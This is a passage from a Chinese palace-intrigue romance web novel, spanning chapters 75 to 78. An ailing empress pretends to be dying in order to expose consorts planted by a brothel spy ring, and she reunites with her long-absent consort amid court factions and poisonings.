“本欲与你好好周旋一番,奈何西境战事突起,打乱了我等原本部署,不过也无妨。你中了血槿散,槿花朝开暮落,生命短暂,恰似此毒。一旦中招,你终将因血气亏损,命丧黄泉不过是早晚的事。” 众人闻此,面色大变,正欲逼问解药下落,却见他迅速从头上取下发簪,抵在脖颈:“任务已了,爹、娘,孩儿来寻你们了!” 话音未落,他便毫不犹豫地将发簪刺入脖颈,鲜血瞬间涌出。不过片刻,他便气绝身亡。 为避免引起恐慌,宸贵君将得知此事之人尽数绞杀,彻底封锁消息。 一波未平,一波又起。 西境烽烟四起,柳州司马奉凤命奔赴西境镇压。漠莽这几年励精图治,竟打得大晟节节败退,直至两个月后,战事才迎来首次捷报。 而紧闭已久的栖梧宫宫门也终于开启,步出宫门的君后却常系面纱示人,似是痘疫毁了半张脸,自此性情大变,主动让出了主理六宫的权利,亦不再要求阖宫诸人入栖梧宫参与朝安。自此,后宫庶务皆由宸贵君主理。 又一个月后,西境战事再起波澜,大晟军队再次败退。凤帝闻讯,急火攻心,竟晕死过去。起初以为只是一场小疾,却不料病情愈发沉重,竟至不可收拾。 神子言,仙子自天道降临人间,生来便命途多舛,需历经人世之苦,方能醒悟。而身为帝王,最大的苦楚,便是眼见家国颓败,任由敌军践踏山河。 陛下不忍百姓受苦,便以自身康健与菩萨签订契约。自此,国运愈兴,帝王之身愈颓。 她以一己之力,承担天下疾苦,亦在渡自己的劫难。 果不其然,随着凤帝病势愈发沉重,西境战事竟接连传来捷报。百姓们于欢欣雀跃之际,亦被凤帝大爱无疆的心所触动,竟在民间悄然建起了帝王庙宇,祈望借万民之力,助凤帝渡过此劫。 然而,即便如此,凤帝的身体愈发孱弱,已无法亲理朝政。朝堂之上,朝会皆由齐翁代为主持,乌宛白代为传达圣意。 转眼间,又是一年春回大地,后宫之中,迎春花悄然盛放。恰在此时,凤帝的第一个女儿呱呱坠地。凤帝闻讯,喜不自胜,待公主满月之际,便迫不及待地立下了储位诏书。 然而,新生的啼哭,总伴随着一缕年华悄然老去。齐翁年事已高,诸事力不从心,无奈之下,只能请辞致仕。凤帝心痛之余,病情愈发沉重。 自此,乌宛白水涨船高,不仅得了帝令,有持印之权,亦可替凤帝决策大小庶务。 此时,朝臣之间暗流涌动,对乌宛白的权势渐生不满,而西川王的声望却在不知不觉中节节攀升。 朝堂之上,乌、西两派之争悄然兴起,暗潮汹涌。 这日,柳文澜刚走出紫宸殿,君后便提着羹汤缓缓踏入。看着凤帝日渐消瘦的脸,柳叶眸瞬间红透,如同初绽的红梅。 裴源无奈轻叹,手指微勾,君后方才起身行至榻前跪坐,轻声道:“陛下。” 裴源咳了几声,才无力道:“哭什么?是有人欺负你吗?” 羽扇将汤盅小心翼翼放置在凤帝面前,摇着头低声说:“没有。” 凤帝轻声道:“嗯,那就好。” 羽扇掀开盖子,羊排的鲜味瞬间扑鼻而来。羽扇拿起羹勺,轻轻吹凉,才小心翼翼地递到凤帝嘴边。凤帝浅饮了一口,便止不住地咳嗽,最后竟咳出一口鲜血来。 羽扇惊慌不已,瞬间又蒙上了一层薄雾般的水汽,紧张道:“陛下。” 裴源扶着胸口,微微喘息,良久才缓缓道:“日后不必做这些事。” “可除了这些,臣不会做别的。”羽扇微微颔首,拭去眼泪,无不温柔:“而且臣听闻,他也常煲汤给陛下喝。臣只是想让陛下开心。” 裴源凝神片刻后,才轻声开口:“他如何做,是他的事;你不必事事都学,只做你喜欢的事就好。” 羽扇面纱下的脸颊微微泛红,声音细若蚊蝇:“可是伺候陛下开心,就是臣喜欢的事。” “伺候人有什么值得开心的?”裴源说着,随手从床案上取了两本书递给他:“异志怪谈,也算有趣,拿回去打发光阴吧。” 羽扇双手接过,沉吟片刻道:“臣愚钝,勉强识得几个字,恐辜负陛下美意。” 裴源道:“那就让宫里人读给你听。” 羽扇又道:“若宫里人也读不懂呢?” 裴源微微蹙眉,无奈轻叹:“那就来问朕,这个答案可满意了?” 羽扇慌乱垂眸:“都怪臣愚笨,又惹陛下生气了,陛下恕罪。” 裴源静静凝视着他的眉眼,终是忍不住伸手替他拭去眼角的泪水,数息后方道:“朕没有怪你,只是朕身体日渐衰弱,怕哪一日离开了人世,你无安身立命的本事。” 羽扇急道:“陛下正值壮年,何以说这样的话?” 裴源无力地笑了笑:“回去想想喜欢做什么,想到了告诉朕。”她轻轻摸了摸他的头,温柔道:“去吧。” 羽扇缓缓退下,很快,偌大的紫宸殿便只剩下凤帝一人,气喘声在空旷的殿内回荡。许久,气喘声渐弱,一直侧卧休憩的裴源忽而睁开眼,侧身下了榻,扶着墙,一步一步走出外殿,打开了通往栖梧宫的地道。 地道阴冷,裴源行了一段路,便觉得背脊阴寒。终至尽头,脚步声引来了男子的注意。庄与之一见是裴源,忙起身过来搀扶。 裴源方一入座,栖梧宫的殿门也随之开启。两人默不作声,眼见羽扇解下面纱后,直奔半身镜前,细致地整理面容衣衫,神色骄矜,哪里还有刚刚在面对凤帝时的怯懦娇羞。这时,他顺着镜面的反照,看到了内殿久候的男子。 柳叶眸微微蹙起,似有不悦:“不是说了,白日里不要过来!” 男子自顾斟茶,闻言,眼皮都未抬一下,只淡淡问道:“她的身体如何?” 羽扇翻了个白眼,扭着水蛇腰,摇摇晃晃地步入内殿,懒懒侧卧在方台上,轻声道:“恐怕活不过中秋了。”他言罢轻叹一声:“初见她时,何其惊艳;而今瘦骨嶙峋,成了一张皮,当真是可惜。” 裴源:“……” 裴源下意识地摸了摸凹陷的脸颊,分明还有肉好不好,怎么就成一张皮了? 男子放下茶杯,语气轻蔑:“可惜什么?”他抬眸瞥了羽扇一眼,讥讽道:“莫不是幻想着她能召你侍寝,让你成为宠君?” 羽扇似是不在意他的态度,轻笑道:“她若不宠我,难道会宠你?”他撑着起身,端起一杯茶,悠然道:“你倒是想,可惜啊,没生我这一对柳叶眸,所以如今连得她召见的机会都没有。” 柳玉书嘴角微勾,声音却透着寒意:“正因如此,你才更要警醒一些。别怪我没提醒你,勿要被假象蒙骗,她没你想的那么简单!” 羽扇冷哼一声,唇边笑意略带嘲讽:“哪里不简单?依我看,也不过如此。除了那张倾城之貌与尊贵身份,并无半分超脱之处。若真要说有何不同,便是她性情稍显冷淡,不解风情罢了。” 柳玉书冷哼一声,语气中带着几分不屑:“那是因为你未曾见过她从前的模样……” “行了行了,她从前寡情薄义、猜忌刻薄,这话你已反复提及多次,我耳朵都快生茧了。”羽扇不耐烦地摆了摆手,语气中带着几分不耐。 他微微一顿,又道:“装病三五日或许容易,但装病一年?绝无可能!我隔三岔五便往紫宸殿跑,亲眼见她身体一日不如一日,她究竟是真病还是假病,我岂能分辨不出?你与其操心我,不如多操心操心你自己。我今日去时,恰见柳文澜奉命入宫,便留心多听了片刻。” 柳玉书一愣:“她们说了什么?” 羽扇微微耸肩,语气轻描淡写:“没太听真切,只隐约听到了‘魏如松’三个字。” 柳玉书的面色一变。 羽扇见状,淡淡道:“你也不必过于忧心,她如今已是秋后的蚂蚱,蹦跶不了几日了。只是将死之人多有执念,常欲将未解之事,求个真相出来。” 柳玉书沉默不语。 裴源也默默起身,被庄与之扶着一同出了地道。 刚过立秋,晌午时分,日头依旧毒辣。裴源坐在窗下,任由阳光洒在身上,庄与之端着一碗汤药走过来。见女子眉头紧蹙,一脸抗拒,庄与之干脆舀了一勺递到她嘴边:“中秋将至,陛下这般模样,恐令诸臣不安。” 裴源依旧蹙眉,思量片刻后,夺下他手中的碗,一饮而尽。强烈的苦涩瞬间在口中蔓延开来,连随后入口的水都显得格外甘甜。 庄与之这才落座在她身旁,低声问道:“陛下今日召了柳文澜?” 日头将男子的发丝耀出了淡淡光晕,裴源忍不住勾了一缕在手里缠弄。闻言,她回道:“柳文澜、傅泽惠与魏如松,三人是昔日同窗,一同参加科举,一同博得功名。后来,柳文澜在太学任职,而傅泽惠与魏如松则为秘书监的小吏。傅泽惠此人圆滑,深谙人情世故,凭借上峰的几句提点,对文渊阁那场大火早有预料。担心事情生变,她未将此事告知任何人,包括她的好友魏如松。后来,魏如松‘死’在了那场大火。柳文澜不知怎地知晓了此事,认为傅泽惠冷血自私,见死不救。故此,两人便断了往来。” 庄与之恍然大悟:“难怪魏如松设计了贡院的那起大火,竟是要报复傅泽惠。” 裴源微微摇头,语气淡然:“傅泽惠知情不告固然有错,可彼时的她不过是个无权无势的小吏。倘若告知了魏如松,或许真能救她一命;但也不排除魏如松会将此事告知第三人,如此一来,秘事变成众所周知之事,那文渊阁的火还烧得起来吗?幕后之人一计不成,便会再施一计,届时,那位‘好心’的上峰,可不一定会再告知傅泽惠了。” 庄与之沉默片刻,若有所思。 裴源又道:“傅泽惠烧不起文渊阁的火;同样的,魏如松也只是贡院起火的一个工具人。风暴来时,蝼蚁无法抵抗。风暴平息后,她们不去责怪风暴,反而是计较那个跑得快的,未曾回头拉同伴一把,并实施报复,这才是此事最可悲之处。” 庄与之似有所悟,微微点了点头:“如此看来,三人中,还是柳文澜最为良善。” 裴源轻笑一声:“魏如松从火场逃出生天,面容尽毁,自是没有再入官场的可能。为了能让儿子有个好去处,不惜表露身份去求昔日好友。彼时母皇已年迈,新帝登基必将充盈后宫,多一个后君的儿子,既承了魏如松的情,对柳文澜来说也不算什么坏事。” 凤帝轻叹一声,目光转向窗外,庭院中的树木不知何时已悄然凋零,一片黄叶在半空盘旋,最终落在青石板上。不过须臾,便被宫侍拾起。 叶绿时高挂枝头,叶败时无声无息。恰似宣政殿的那些大臣。 傅泽惠的府邸也曾门可罗雀,时移世易,若非是为了探寻柳玉书的身份,裴源几乎都忘了,她还有这样一位礼部尚书。 庄与之见她眸光渐渐暗淡,轻声问道:“陛下可是累了?” 裴源微微点头,语气无力:“人是血肉之躯,不食五谷,确容易累。” 庄与之轻笑,忙起身扶住她:“还有半个月便到中秋了,陛下再忍忍。” 庄与之何时离开的,裴源并不知情,只依稀间闻到了安神香的气味,她微微睁眼,才察觉窗外已然漆黑一片,没有一丝月光。 她下意识看向扶案旁的宫侍:“谁让你进来的?” 宫侍似是一愣,淡然放下手里的香压回过身颔首回禀:“乌尚宫听到陛下呓语,担心陛下睡的不稳,便唤奴才入殿为陛下点上安神香。” 裴源本想起身,奈何 身子无力,想来是安神香起了作用,不禁有些气恼:“朕从午时睡到了天黑,还让朕睡?朕看她这个掌印尚宫做的太舒坦,准备鸠占鹊巢了!” 宫侍颔首不语。 眼皮渐重,原本的气恼也缓缓平息下来,宫侍的身形在眼中越来越模糊,渐渐与记忆里的某个身影重合。 裴源依稀想起去年拜仓颉殿那日,百官学子皆为诗仙的才情所折服,而她的视线却被穿着宫侍衣裳的陆长行吸引。 念及此,她的手轻轻抬起。动作虽细微,宫侍却已察觉,缓步靠近。 裴源似要仔细看清他的容貌,然而视线却愈发模糊,只能凭借最后的一丝力气,一把抓住了他的手,想要将他扯入怀中。 她本就没多少力气,男子却顺势入怀。 裴源如获至宝,本应悸动的心,在安神香的作用下,却出奇地平静,宛如无风无浪的水面,没有一丝波澜。 她被自己气笑了,于是轻轻摸着他的发,低声呢喃:“朕赏你个恩典,今夜留下侍寝吧。” 第76章 第76章晋江文学城 眼皮越来越重,四肢也再没了力气,裴源只知自己被男子轻轻拥入了怀里,温柔细腻的吻随后落下。 那之后,她感觉自己坠入了绵软的云层里,微风化作轻羽搔弄着她每一寸的肌肤,她想闪躲却无一丝力气,只知道云雾凝成了水,平静的水面在半空泛起了层层涟漪。 清晨第一缕阳光撒入紫宸殿时,裴源有了片刻的恍惚,而后下意识摸着身侧,空空如也。 于是撑坐起身仔细探查,终是在龙凤被上发现了一根长发,青丝如墨,在阳光下泛着光泽,不似自己的头发,微微泛黄。 彼时,殿门缓缓而开,散了朝的乌宛白躬身而入,身后还跟着几个宫侍。 乌宛白上前打了个千儿:“陛下。” 裴源轻嗯一声,视线却在那几个宫侍身上流转,待几人放下洗沐之物准备退下时,裴源随手指着为首男子:“你,留下侍奉。” 男子只是短暂的愣怔,便行至榻前跪地替凤帝穿靴,不料女子的脚几乎不动,却俯下身勾起了男子的下巴细细打量。 肌肤并未想象中的白皙,面容也并非想象中的俊美,不过那双眼眸倒是无比明亮。 见男子眼眸低垂,裴源便又忍不住低头凑上前,额头相抵时,男子终于抬眸看向了女子,眸光虽不慌乱,却也暗生波澜。 裴源:“你叫什么名字?” 男子:“何清。” 裴源微微一笑:“昨晚不是准你侍寝,为何跑了?” 男子颔首道:“陛下说完那句便睡了,奴才不知是否为陛下呓语,不敢擅作主张,便起身退下了,还望陛下恕罪。” 裴源笑笑,松了他的下巴,坐直身子道:“不卑不亢,朕喜欢。” 男子将头压的更低了几分。 一旁的乌宛白笑的像个开了张的老鸨:“恭喜陛下,喜得新人。” 裴源笑道:“难为你费心张罗,偷偷教导,这个面子朕得给。”说着,两脚蹬上了靴子起身:“昨日德君的那碗汤药不知又糟践多少好东西,一觉醒来,朕感觉生龙活虎的。” 乌宛白放下浮尘,拧了一方毛巾递给凤帝:“陛下饮用,怎能说糟践二字,只要陛下身体康健,一切都值得。” 洗了漱,用了膳,乌宛白也将朝堂之事汇报了大概,裴源道一句辛苦,趁着精神又翻阅了几份奏折,三不五时的打量侍奉笔墨的男子几眼。 开始还含蓄的看,最后干脆单手托腮,眼睛直勾勾的盯。 男子终是忍不凤帝的灼灼的目光,缓缓抬眸迎上女子的注视:“可是奴才脸上沾了脏东西?” 裴源摇头,换了个更舒服的姿势,目光也变的更加肆无忌惮。 男子:“……” 直至计安入殿通禀韵侧君至,凤帝方才端正坐姿:“宣。” 男子松了口气,放下墨条,颔首垂眸退至一旁。 周天韵入殿请了安,直接上前奉上了一个匣子,献宝似得拿到了裴源跟前:“夜明珠,臣的姐姐从夏府缴上来的。” 刑部尚书夏凡于三月初因滥用职权罪被捕入狱。历经三司多次深入调查,案件终于在前几日尘埃落定。夏凡最终被判处绞刑,其家产亦被全部抄没。 刑部郎中周韵在本案中不畏强权,并成功寻获关键罪证,为案件的裁决立下汗马功劳。因其卓越表现,周韵被擢升为刑部侍郎,并暂代刑部尚书之职。 眼下正是刑部奔忙的时候,这个档口,周天韵竟为了这么屁大点事就入了宫,心思昭然若揭。 裴源看着匣子里馒头大的石头,眼里全无对奇珍异石的喜爱,反而眉头微挑,淡淡凝了周天韵片刻:“你姐姐收缴之物不入库,怎跑到了你的手里?” “阿姐知道臣喜欢,所以想拿给臣看看。臣一想,陛下定也没见过这么大的夜明珠,故而,也想让陛下看看。” 周天韵嘿嘿一笑,拉着裴源的手道:“可见臣与臣姐,待陛下的忠诚之心。” 裴源:“……” 我信你个鬼! 裴源原想顺着她的意,直接将此珠赠予她。可眼波流转间,有了新的心思,故而淡淡道:“朕瞧着就是个普通石头,无甚特别。你姐姐是不是私藏了真的,拿了个假的糊弄你?” 周天韵一愣:“陛下不信?那臣展示给陛下看。” 说着,就拉着裴源内殿,床幔落下的瞬间,床榻内漆黑一片,随着匣子展开,一抹绿油油的光在榻间亮起。 裴源:“哇哦。” 周天韵歪头看向裴源,一双眼睛被夜明珠晃照宛若见钱眼开的贪财鬼:“夜明珠臣也见过不少,但比碗还大的,臣还是头一次见。” 她往裴源身侧凑了凑:“陛下~” 裴源笑笑:“那你哄哄朕,朕若开心了,就赏了你。” 周天韵摁的手骨咯咯作响:“陛下终日为国事担忧,定身骨疲乏,臣替您松泛松泛。” 周天韵的按摩手法着实不怎么样,不过几下,裴源的额头便生出了一层细密的汗,合理怀疑她是蓄意报复,把她当嫌疑人整。正准备开口制止,男子之音从床幔外传了进来。 “陛下。”男子道:“您该喝药了。” 周天韵:“那陛下先喝药,喝完我们再继续。” 裴源想也不想的拒绝:“不必继续了,夜明珠赏你了。并替朕转告你姐姐,若遇到其他喜欢的,也不用经你的手拿给朕看了,自己留下就好。” 周天韵当即喜笑颜开,连谢恩都顾不得了,直接携珠跑路,不过几息便没了踪影。 过了几息,男子的声音再次飘入床幔:“陛下,您还好吗?” 裴源低吟道:“不太好。” 男子眸色一凝,忙上前想要确认,可手才探入床幔,便被女子一把紧握并拽入了其中。 男子猝不及防,跌躺瞬间,全身僵硬,直至适应了昏暗的光线,才察觉到女子侧躺在他的身畔,单手托腮好整以暇的看着他。 男子正要起身,却听女子道:“别动。” 男子默了默,松懈了紧绷的身形躺在她的身畔。 裴源再次凝视着他的面容,在昏暗的光线中,男子的轮廓愈发清晰,五官的轮廓也愈发鲜明。她情不自禁地伸手轻轻描绘着他的眉眼,指尖最终停留在他的眼尾,轻轻摩挲。良久,她轻声问道:“朕现在的样子,是不是 很丑?” 男子轻言:“陛下容貌绝世,天下女子皆难以企及。” 裴源指尖缓缓下移,划过他的鼻梁、嘴唇、下巴、脖颈,最后落在了他的胸膛。她的另一只手臂也轻轻弯下,俯下身,将头枕在他的肩膀上,伏在他的耳畔调侃:“天下何其大,你又见过几个女子?” 男子喉咙微微滚动,强压住内心涌动:“陛下,奴才所见虽少,但一见陛下,便知再无女子可与您比拟。” “嘴巴倒是很甜。”裴源轻笑一声:“该赏。” 说着,衔住了男子的耳珠在口,指尖也顺着男子的衣襟缓缓探入,男子一时间只感觉全身酥麻,他下意识想要迎合,却被女子冷冰冰的一句话,浇的透心凉。 “陆长行!”裴源指尖狠狠掐着他的胸口,声音带着几分凌厉:“这么耍朕,有意思吗?” 陆长行瞳孔皱缩,胸口的疼痛更令他眉头紧蹙:“陛下。” 裴源冷哼一声,指尖更加用力:“一年不见,长能耐了!竟还学会说谎了?” 说罢,一脚直接将他踹下了榻:“别以为朕不记得你昨晚干的好事!臭、流、氓!” 陆长行:“……” 陆长行忙跪地颔首道:“昨夜是陛下准臣侍寝的,不然给臣一百个脑袋,臣也不敢与陛下同榻。” 裴源蹙眉:“你还倒打一耙?你把朕这紫宸殿当成什么了?任你随意出入的菜园子吗?你想出去就出去,想进来就进来!” 陆长行低声道:“臣也没办法,栖梧宫被野男人住了,臣不来紫宸殿寻陛下,还能去哪呢?” “你!” 裴源气愈发不打一处来:“你既走了,朕便当你死了!还指望栖梧宫朕替你留着?想的美!!” 裴源愤然起身,拂袖而去,步履匆匆地出了内殿。不过须臾,陆长行缓步而出,依旧默不作声,如往昔那般颔首垂眸,侧立在凤案之侧,侍奉在旁。 裴源任由他去,随手拿起案边的一本奏折翻看。那不过是寻常的请安折子,寥寥数语,尽是些无足轻重的琐事。然而,裴源却盯着那几行字,目光久久未曾挪开。起初,眼前的文字尚能辨认,可渐渐地,那些字迹开始变得模糊,仿佛被一层薄雾轻轻笼罩,继而,整个世界都变得朦胧起来。 水汽凝结成泪,沿着脸颊缓缓滑落,最后“啪嗒啪嗒”地滴落在奏本上,晕染开一片湿痕。 陆长行见状,登时有些六神无主,扑通一声跪地,声音带着一丝颤抖:“陛下……” 裴源抬手拭去脸颊上的泪痕,动作虽轻,却难掩心中的烦闷。她随手取过另一本奏本,试图在字里行间寻得一丝平静,可眼泪却如决堤的湖水。仿佛内心所有的委屈汹涌而出,她愈是看不清上头的字迹,就越生自己的气,越是粗鲁地拭泪,泪水却愈发决堤。 陆长行愈发手足无措,只能一点点跪行到她的身侧,紧紧抓着她的衣摆,声音里满是哀求:“阿源,都是我的错,你若生气大可以责罚我,我定无一句怨言,你别哭了,好不好?” 第77章 第77章晋江文学城 不好。 裴源如此想,眼泪更加肆无忌惮的流。 陆长行则在六神无主与手足无措间反复横跳,最后鼓足勇气,起身将女子拥入怀里。 女子身形比一年前愈发清瘦,他抱在怀中,满心皆是疼惜,唯恐稍一用力便会伤到她,因而小心翼翼,连呼吸都轻了许多。 他伏在她的耳畔不住说着道歉,可女子未有一句回应。 终于,陆长行的低语被门外计安的声音打断,怀中女子的抽离令陆长行有些不安,他低下头,发现泪盈于睫的凤眸,早已化作了平常,她依旧未回应他只字片语,只漠然看向殿门,道了个:“宣。” 殿门徐徐开启,陆长行眉心微蹙,无奈颔首垂眸退至一旁。 轮椅的车碾声在殿内回响,陆长行下意识望去时,裴源已然起身,快步走到殿中,接替席亳的位置,推着温阳泽向内殿走去:“难得,你怎么来了?” 女子脚步匆忙,温阳泽并未细看,只是目光狐疑的落在凤案旁伫立的男子身上,片刻后才收回视线,淡然道:“乌尚宫说陛下添了新人,还让臣来瞧瞧热闹。” 裴源将温阳泽安置妥当后,语气不耐烦道:“这殿中就朕自己,哪来的新人?” 温阳泽微微一怔,抬眸间,见那男子已缓步而至,并在茶案一侧静立,慢启茶罐,动作行云流水,似有故人之韵。他不禁恍然一笑:“原来这新人竟是故人。” 陆长行取了两片参片放入盏中,以沸水冲泡,随后将茶盏奉至温阳泽手边,温声道:“凰贵君近日身体如何?” 温阳泽微微一笑:“多谢君后关怀,自饮下君后送入宫的药方,臣已觉精神与气血皆有好转。” 陆长行闻言,眉眼间露出一丝欣慰之色:“如此甚好。”他转身又将泡好的香茗奉至一旁女子手边,轻声道:“此方乃本宫从一游方医者处得来,送入宫中时,本宫心中颇不安宁,毕竟与凰贵君过往所服之药大相径庭。如今见凰贵君面色稍霁,本宫悬着的心也终于放下了。” 温阳泽接过茶盏,轻轻抿了一口,目光微微闪动,低声说道:“过往臣似温室之花,稍有风霜便有凋零之态。此方似将臣置于自然室外,初时虽有不适,然药性适应之后,竟觉血脉通畅,神清气爽。一切皆是托了君后的福泽。” 陆长行笑意温润如玉,温阳泽亦是态度平和。几句寒暄过后,话题竟自然而然地转入了当下局势,由浅入深,毫无半点生分与隔阂,反而透着几分熟络与默契。这哪里像是久别一年的生疏模样?分明是暗中时常联络,早已默契天成。 裴源在一旁冷眼旁观,心中暗自思忖,面上却不动声色。 好你个陆长行!怪不得这么有恃无恐,原来这一年光景,不仅不忘蛊惑她的宦臣,还不忘暗中笼络她的君臣,人在外面浪,情在宫中留啊!除了她这个凤帝,他这人情来往竟是一点未断! 难怪这后宫、紫宸殿任他来去自如。 好手段,着实好手段! 裴源感觉自己有些多余,心中愤然,故而翻了个大白眼,愤然起身而去。 两君似有所觉,沉默数息,反思了自己的错处后,话题继续。 裴源:“……” 前朝有乌、西平分秋色,后宫有诸君殚心竭虑。经过一年的“不懈努力”,她终于将自己养成了一个真正的废物傀儡。 天下虽仍姓裴,却早已与她无甚关联。年纪轻轻,便过上了颐养天年的日子,裴源对此十分满意。为了坐得舒服些,她甚至抱来数个软枕,将凤椅堆得老高,而后蜷缩其中,惬意地窝着。 不知不觉,已是晌午,高悬的日头似吞噬了万物的影子,仿佛一切都无所遁形。 殿外计安的声音再次响起,昏昏欲睡的裴源凤眸轻启,迷迷糊糊地吐出一个“宣”字。不多时,一道模糊的湛蓝身影缓缓在凤眸中变得清晰。裴源习惯性地轻咳了几声,而后气若游丝地说道:“是玉书啊。” 细细算来,柳玉书已快半年未得见圣颜。他只能从羽扇的口中得知她的近况,听闻她如今气血盈亏,身薄如纸。如今亲眼得见,方知传言非虚。她果然已经病入膏肓,精神大不如前,眼神黯淡无光,如同一个风烛残年的老者,早已没了往昔的精气神。 所以他愣在原地许久,直到眼泪簌簌落下,才俯下身请安:“陛下。” 裴源努力掀了掀眼皮,对他的眼泪视而不见,只淡淡问道:“怎么了?” 柳玉书重重叩首,声音低沉悲切:“臣有罪。” 殿中沉默数息,裴源努力抑制想要打瞌睡的念头,慢悠悠地从柔软的凤椅上坐正,轻叹一声道:“若你说的罪,指的是魏如松,那朕知道了。” 她见柳玉书缓缓抬头,目光中带着一丝惊愕,又轻笑道:“父母之爱子,必为之计深远。你母亲想要你有个好的出路,这是人之常情,朕不怪罪,起来吧。” 柳玉书叩谢圣恩,缓缓起身。见凤帝对他招手,他亦未有片刻迟疑,缓步上前。直至看清她几乎瘦成皮包骨的手时,他怔住了,慢慢抬起的手微微颤抖,最后,轻轻将她的手握在了掌心,声音带着一丝哽咽:“陛下……” 裴源轻轻“嗯”了一声,声音缓慢且疲惫:“自朕病重以来,便很少见人,仔细算算,也有数月未见你了。”她的呼吸愈发沉重,仿佛吐出每个字都耗尽了全身的力气,完全是一副病入膏肓的病重之态:“朕记得你爱听戏,便让乌宛白将城南那家你常去的戏楼买了下来。待朕驾崩之后……” 柳玉书手上一紧,急切地打断道:“陛下万岁!为何说这样晦气的话?” 裴源却只是重重咳了几声,似乎在用尽最后的力气平复气息,片刻后才又道:“朕的身子,朕自己清楚,撑不了几日了。”她微微停顿,语气却出奇地平静:“朕已立了遗诏,会遣散后宫。届时,若柳家不容你,你便带着房契,去那家戏楼当个掌柜。” 一滴泪从柳玉书的眼角滑落,重重砸在两人相握的手上。 裴源恍若未觉,轻声又道:“听闻那戏楼生意不错,想必能保你一世无忧。未来若遇到喜欢的娘子,便另行婚嫁,生儿育女,一生也算圆满了。” 柳玉书却摇头:“臣只喜欢陛下,心里除了陛下,再装不下旁人。” 裴源微微一笑:“傻话。一辈子很长,优秀的人何其多。朕的玉书这般聪慧温润,未来总会遇到钟情于你,你也钟情的娘子。” 说罢,她轻轻抽出手,拍了拍他的手臂,轻声道:“朕累了,你去吧。” 柳玉书似是不舍离去,又仿佛有话难言,犹豫再三,终是俯身行了一礼,一步三回头,缓缓退出了殿外。 裴源从腕上解下帕子,仔细擦了擦手,随后倒头继续阖目养神,又去会见了周公。 内殿炉火上煮沸的水咕嘟作响,打破了殿中短暂的安静。 温阳泽顺着窗棂缝隙目送了柳玉书的远去,方才幽幽开口:“去岁的万寿节,陛下命他与韩柏去离间太慈与耿文耀的关系,反倒给了他与耿文耀密谋的机会。两人仗着韩柏单纯,小习惯未曾刻意规避遮掩。还是韩柏的一句无心之言,让陛下对柳玉书生了疑心。” 陆长行不禁心生好奇:“什么小习惯?” 温阳泽收回视线,语气淡然道:“柳玉书喜欢下棋,偶尔便会取两粒棋子在指尖盘玩,他的这个习惯极少展示人前,但韩柏时常跟在他左右,自然熟悉。万寿节那日,柳玉书与韩柏向太慈请安后,便寻了借口找到耿文耀。彼时的耿文耀正在下棋,倾听柳玉书叙事时,指尖也捻弄两粒棋子打旋儿。” 他说到此处,抬头看向陆长行,微微挑眉:“太巧了,不是吗?” 陆长行带着假面,温阳泽无法察觉他细微的表情,只看到他眸色微深,沉吟片刻后道:“耿文耀自幼心高气傲,自命不凡。这种人,最易因几句奉承之词而迷失本心,对自己生出错误的认知。去年一见,他果真愈发自负。本宫本欲带他出宫,却被他言辞相拒。如今想来,柳玉书定是深知其性,才哄骗他谋划了一出投毒,再让他大义赴死的结局,以此继续保全柳玉书暗桩的身份。” 陆长行离宫前夕,曾与温阳泽彻夜长谈,也将耿文耀的真实身份一一道明。 温阳泽念及此事,微微挑眉,问道:“离宫一年,可找到答案了?” 陆长行微微颔首,沉声道:“榷场石室中的油灯本有致幻之效,然而陛下不仅未受其惑,反而因之触发头疾。去岁万寿节,陛下再次因灯油而头疾发作,彼时本宫便已心生怀疑。陛下所中的蛊毒,绝非寻常的母子蛊,而是经过精心饲养的复杂蛊毒。欲驱此蛊,需先解其毒,而解药,就在御宴楼中。” 温阳泽眉峰微蹙,语气沉重:“御宴楼九子才色双绝,明里以色侍奉朝臣,暗中搜罗罪证,加以要挟;甚至还培植出了羽扇、耿文耀、柳玉书等可入宫的郎君,其手段之高明,令人咋舌。一年来,无论是大皇子的眼线,还是本宫的密探,皆未探得幕后之人丝毫线索。此等隐匿之能,着实让人心惊。” 第78章 第78章晋江文学城 夕阳西坠,暮色四合,一阵阴风悄然掠过。西门眙心中不安,随手洒落几枚铜钱,口中念念有词:“本神子掐指一算,今夜有雨。” 庄与之忍不住轻嗤一声,翻了个白眼:“乌云压顶,层层叠叠,分明是暴雨将至,这还用得着你算!” 西门眙却蹙起眉头,神情愈发凝重:“你不懂,此雨非彼雨。” 庄与之冷笑一声,撇了撇嘴:“自打你住进这登仙台,整日神神叨叨。”他起身,拂了拂衣袍上的尘埃,语气冷淡道:“无甚趣味,我回宫了。” 说罢,他转身离去,步履间带着几分潇洒。 西门眙似乎陷入了卦象里,闻言只是随意摆了摆手,算是回应。 登仙台矗立于东区,与太学府的思贤阁比邻而居。夜幕低垂,两座楼阁的灯火同时亮起,微弱的火焰在疾风中摇曳生姿,宛如天上闪烁的星辰。 不远处,朱雀门楼上响起一阵急促的脚步声。陆萧玉步履匆匆,一路疾行至紫宸殿。计安尚未及通传,殿门已被猛然推开。 凤帝身形清瘦,双眸深陷,透着几分阴鸷:“你说什么?” 陆萧玉跪叩于地,沉声道:“陛下,齐翁卒了。” 裴源愣住。 身后宫侍忽而开口,语气中带着几分疑惑:“不过是发了场高热,怎就卒了?” 陆萧玉不知此宫侍何人,但见其举止与凤帝颇为亲昵,想来是深受凤帝信任。故而直言:“齐府人报,说是高热引发了旧疾,加之齐翁年事已高,药石无功,终究没能挺过来。” 裴源微微蹙眉,语气似在自言自语,又似在向众人解释:“自齐翁致仕归隐,身子便一直不大安乐。朕总觉得哪里不对,也曾命曾芩燕暗中查探,无论是所食药渣,还是衣食住行,皆未曾发现丝毫异样。仔细回想,去岁春时,齐翁尚是老态龙钟的模样,可过了朕的万寿节后,精神便有些恍惚,似是大不如前。” 陆长行沉吟片刻:“陛下若有怀疑,臣愿亲自去探查一番。若是中毒病逝,尸身必能发现端倪。” 裴源本欲同行,却余光瞥见周天韵缓步而来,身影沉稳,似有要事禀报。 裴源微微点头,对陆长行道:“去吧,务必仔细。” 陆长行颔首应是,步下石阶时,与周天韵错身而过。他瞥见她怀中抱着一面歙砚,那歙砚看似寻常,或许只是匆匆一瞥,未曾察觉其中玄妙。 只听周天韵娇滴滴地喊道:“陛下~快看看臣又带来了什么宝贝~” 声音带着几分甜腻,引得陆长行微微皱眉,故而步伐愈发飞快,很快隐匿在夜幕之中。 裴源这才收回视线,看向周天韵,一脸不耐烦道:“朕不是说过,再遇到喜欢的宝贝自己留着就好,不必拿给朕看了。” 见凤帝转身入殿,周天韵忙亦步亦趋地跟上,笑嘻嘻道:“陛下,您还没看看这宝贝呢,万一您喜欢呢?” 